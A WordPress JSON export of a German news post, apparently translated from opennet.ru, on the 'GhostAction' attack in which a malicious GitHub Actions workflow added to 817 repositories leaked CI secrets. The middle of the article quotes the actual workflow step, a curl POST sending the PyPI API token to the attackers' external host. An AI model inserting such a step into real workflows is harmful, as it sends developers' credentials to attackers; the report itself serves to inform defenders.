{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Im Zuge des GhostAction-Angriffs wurden 817 Repositories auf GitHub kompromittiert.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Forscher von GitGuardian haben einen massiven Angriff auf Nutzer von GitHub aufgedeckt, bei dem Kontrolle \u00fcber 327 Konten erlangt wurde und ein b\u00f6sartiger Github Action Handler in 817 Repositories eingef\u00fcgt wurde. Der Angriff f\u00fchrte zu einer Leckage von 3325 Geheimnissen, die in Continuous Integration-Systemen \u00fcber Umgebungsvariablen \u00fcbertragen wurden, einschlie\u00dflich Zugangstokens f\u00fcr PyPI, GitHub, NPM, DockerHub und verschiedene Cloud-Speicher.
<\/center> <\/p>\n
GitHub Actions erm\u00f6glicht Entwicklern, Handler anzuh\u00e4ngen, um verschiedene Operationen in GitHub zu automatisieren. Zum Beispiel k\u00f6nnen mit GitHub Actions bestimmte \u00dcberpr\u00fcfungen und Tests beim Erstellen von Commits durchgef\u00fchrt oder die Verarbeitung neuer Issues automatisiert werden. Ein b\u00f6sartiger Handler verbreitete sich unter dem Namen \u201eGithub Actions Security\u201c und enthielt im Abschnitt \u201erun\u201c den Befehl \u201ecurl\u201c, der beim Ausf\u00fchren von Aufgaben in einer kontinuierlichen Integrationsumgebung den Inhalt von Umgebungsvariablen an einen externen Host sendete. Der b\u00f6sartige Commit wurde von den Konten der Maintainer der Projekte hinzugef\u00fcgt, die wahrscheinlich zuvor gehackt oder phishing-Opfer wurden. <\/p>\n
Der Angriff wurde nach der Analyse anormaler Aktivit\u00e4ten im Zusammenhang mit dem Paket FastUUID entdeckt, das eine Python-Schnittstelle \u00fcber die Rust-Bibliothek UUID bietet. Das FastUUID-Paket, das in der letzten Woche fast 1,2 Millionen Downloads verzeichnete, wird als Abh\u00e4ngigkeit im popul\u00e4ren Projekt LiteLLM verwendet, das in PyPI mehr als 5 Millionen Downloads pro Woche hat. Eine Analyse der \u00c4nderungen im Repository von FastUUID zeigte, dass der Maintainer des Projekts am 2. September einen Commit mit einem neuen Github Action-Handler hinzugef\u00fcgt hatte, der Code zum Senden des Tokens an das PyPI-Repository an einen externen Host enthielt. \u2014 name: Github Actions Security run: | curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
Es gelang, das Problem zu identifizieren, bevor die Angreifer das abgefangene Token ausnutzen konnten \u2014 die Ver\u00f6ffentlichung b\u00f6sartiger \u00c4nderungen oder modifizierter Versionen des Pakets in PyPI f\u00fcr FastUUID wurde nicht festgestellt. \u00c4hnliche Substitutionen von Github Action wurden in 816 weiteren Repositories identifiziert, und die Eigent\u00fcmer sowie die Verwaltung von PyPI, GitHub, NPM und DockerHub erhielten Benachrichtigungen. Stand gestern Abend wurden b\u00f6sartige Commits in etwa 100 Repositories zur\u00fcckgezogen. Derzeit werden bei der Suche in GitHub 671 Commits mit b\u00f6sartigem Github Action identifiziert. \n Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Im](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n